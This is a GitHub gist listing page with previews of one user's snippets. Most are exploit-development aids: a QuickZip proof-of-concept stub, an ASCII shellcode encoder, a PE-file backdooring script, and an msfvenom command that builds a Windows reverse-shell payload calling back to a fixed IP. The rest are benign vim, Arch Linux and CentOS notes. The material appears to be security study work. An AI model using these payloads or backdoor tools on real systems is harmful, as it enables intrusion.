Skip to content

Instantly share code, notes, and snippets.

View kkirsche's full-sized avatar

Kevin Kirsche kkirsche

View GitHub Profile
@kkirsche
kkirsche / msf-hex-to-bin.sh
Created October 4, 2018 18:20
msf-hex-to-bin.sh
#!/bin/sh
cat "${1}" | tr -d '\\x' | xxd -r -p > "${1}.bin"
@kkirsche
kkirsche / 01-poc.py
Last active October 4, 2018 13:30
Quickzip
#!/usr/bin/env python
# Original Author : corelanc0d3r
# Pocython Author: d3cc3pt10n
# Note: Python 3 doesn't work, Python 2 does...weird!
filename = 'pycorelanboom.zip'
filesize = '\xe4\x0f'
# Local file header
# 30 bytes
@kkirsche
kkirsche / ascii-shellcode-encoder.py
Created October 2, 2018 13:14 — forked from mgeeky/ascii-shellcode-encoder.py
ASCII Shellcode encoder for Exploit Development purposes, utilizing Jon Erickson's substract arguments finding algorithm.
#!/usr/bin/python
#
# Shellcode to ASCII encoder leveraging rebuilding on-the-stack technique,
# and using Jon Erickson's algorithm from Phiral Research Labs `Dissembler`
# utility (as described in: Hacking - The Art of Exploitation).
#
# Basically one gives to the program's output a binary encoded shellcode,
# and it yields on the output it's ASCII encoded form.
#
# This payload will at the beginning align the stack by firstly moving
@kkirsche
kkirsche / backdoor.py
Last active July 25, 2023 19:12
Backdoor a PE file
#!/usr/bin/env python2
import mmap
import os
import pefile
def align(val_to_align, alignment):
return ((val_to_align + alignment - 1) / alignment) * alignment
@kkirsche
kkirsche / dump.sh
Last active September 19, 2018 13:21
MSF to Raw Hex
#!/bin/sh
# Note: the grep -v removes a line with no actual shellcode on it, it doesn't remove code
msfvenom windows/shell_reverse_tcp LHOST=192.168.30.10 LPORT=443 EXITFUNC=none --arch x86 --platform Windows --encoder generic/none --format raw | hexdump -C | grep -v 00000144 | cut -d" " -f3-19 | sed 's/ //g' | tr -d '\n'
@kkirsche
kkirsche / Prereqs.md
Last active August 23, 2018 20:21
NASM Course Requirements
@kkirsche
kkirsche / vim8.x_with_lua
Created July 28, 2018 19:50 — forked from techgaun/vim8.x_with_lua
Install vim with lua support on ubuntu 16.04
I needed to install vim with lua support because I wanted to use neocomplete in my recently installed 15.04 distro. Also, this has python3 enabled by default.
Tested on 16.04 now
Update: This has been tested and verified to work on Ubuntu 16.04 as well. Also, if you wish to use particular branch/tag, you can get the version and then checkout appropriately.
The following (based upon https://gist.github.com/jdewit/9818870) should work though I copied it from history:
sudo apt-get remove --purge vim vim-runtime vim-gnome vim-tiny vim-common vim-gui-common
sudo apt-get build-dep vim-gnome
sudo apt-get install build-essential liblua5.3-0 liblua5.3-dev python-dev ruby-dev libperl-dev libncurses5-dev libgnome2-dev libgnomeui-dev libgtk2.0-dev libatk1.0-dev libbonoboui2-dev libcairo2-dev libx11-dev libxpm-dev libxt-dev
@kkirsche
kkirsche / arch-linux-how-to
Created July 27, 2018 13:40
How to install arch linux 2018
From https://paste.ubuntu.com/23956628/
Before installing Arch Linux, make sure your computer is connected to the internet.
# dhcpcd
# ping -c 3 archlinux.org
If none is available, stop the dhcpcd service with systemctl stop dhcpcd@<TAB> and see Network configuration. https://wiki.archlinux.org/index.php/Network_configuration#Device_driver
Partitioning Disk
@kkirsche
kkirsche / .vimrc
Last active July 27, 2018 18:32
Vim Configuration
set nocompatible
syntax on
set nowrap
set encoding=utf8
set number
set tabstop=2
set expandtab
set autochdir
" Python ident
@kkirsche
kkirsche / is-restart-needed.sh
Created July 18, 2018 21:25
Checks if a CentOS system requires a reboot or not. Good for login processes
#!/bin/bash
# requires yum-utils to be installed
if ! needs-restarting -r 2>&1 >> /dev/null; then
echo '**System Restart Required**'
fi